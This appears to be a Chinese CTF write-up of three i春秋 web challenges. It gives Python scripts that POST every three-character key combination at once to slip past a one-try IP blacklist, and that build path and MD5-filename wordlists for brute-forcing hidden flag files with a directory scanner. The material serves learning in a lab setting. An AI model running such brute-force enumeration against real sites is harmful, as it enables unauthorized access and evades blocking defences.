一、攻击
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
PHP编程中经常需要用到一些服务器的一些资料,$_SERVER的详细参数参考:
https://www.cnblogs.com/feng12345/p/5377258.html
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
die("您的ip已进入系统黑名单");
如果自己的IP地址已存在于$ip中则会显示已在黑名单中
if ($_POST[substr($flag,5,3)]=='attack'){
echo $flag;
若$flag中从第六位开始长度为3变量的字符串内容为attack,则显示flag
如果不成功,自己的IP会写入$ip
代码表明你只有一次的攻击机会
没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。如果少了某个字符,就不能通过,ip也进入黑名单,只能重新获取题目网站了。
代码如下:
import requests
flagchar="0123456789abcdefgh"
url="http://3ca308a855694c6fbd1bf9ceb08fca4f96cf359293c54c11.changame.ichunqiu.com/"
dData={}
for a in flagchar:
for b in flagchar:
for c in flagchar:
dData[a+b+c]="attack"
print(dData)
res=requests.post(url,data=dData)
print(res.text)
二、象棋
F12发现如下正则公式,怀疑是flag文件
规则:url+/js/+abcmlyx中的两位+ctf+0-9中三位+.js
脚本如下
key1 = "abcmlyx"
key2 = "0123456789"
file = open("xiangqi.txt","w+")
for a in key1:
for b in key1:
for c in key2:
for d in key2:
for e in key2:
url="/js/"+a+b+"ctf"+str(c)+str(d)+str(e)+".js"+"\n"
file.write(url)
file.close()
得到字典后,用御剑进行爆破得到flag文件
三、时间
解释下代码的意思:
show_source() :函数对文件进行语法高亮显示
cookie中的token值如果等于 hello,就执行下面的代码
file_get_contents() 把flag.php文件内容读取到$txt变量中
mt_rand()取随机数,比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的
通过md5对mt_rand取值的加密然后拼接'u/'和'.txt'得到文件的名字存入到$filename中
file_put_contents()把$txt的内容写入到$filename的文件中取
sleep(10):休眠10秒
unlink() :删除文件
说明我们访问这个网站时,网站目录中会随机生成一个文件包含flag.php的内容,但10秒后会自动删除,所以我们将所有可能的文件名都列出来生成字典
MD5加密python脚本:
hash = hashlib.md5()
hash.update('加密的文本'.encode('utf-8'))
print(hash.hexdigest())
参考:https://www.cnblogs.com/wang-yc/p/5616663.html
python源码如下:
import hashlib
import requests
file = open("shijian.txt",'w+')
for i in range(1,1001):
m = hashlib.md5()
m.update(str(i).encode())
mid = m.hexdigest()
url = 'u/'+mid+'.txt'
file.write(url+'\n')
file.close()
python文件权限对照表:
生成字典如下:
将字典加载到御剑来跑,应该可以得到flag
但是一扫就被i春秋的waf ban 暂时还没想到解决方法(太菜了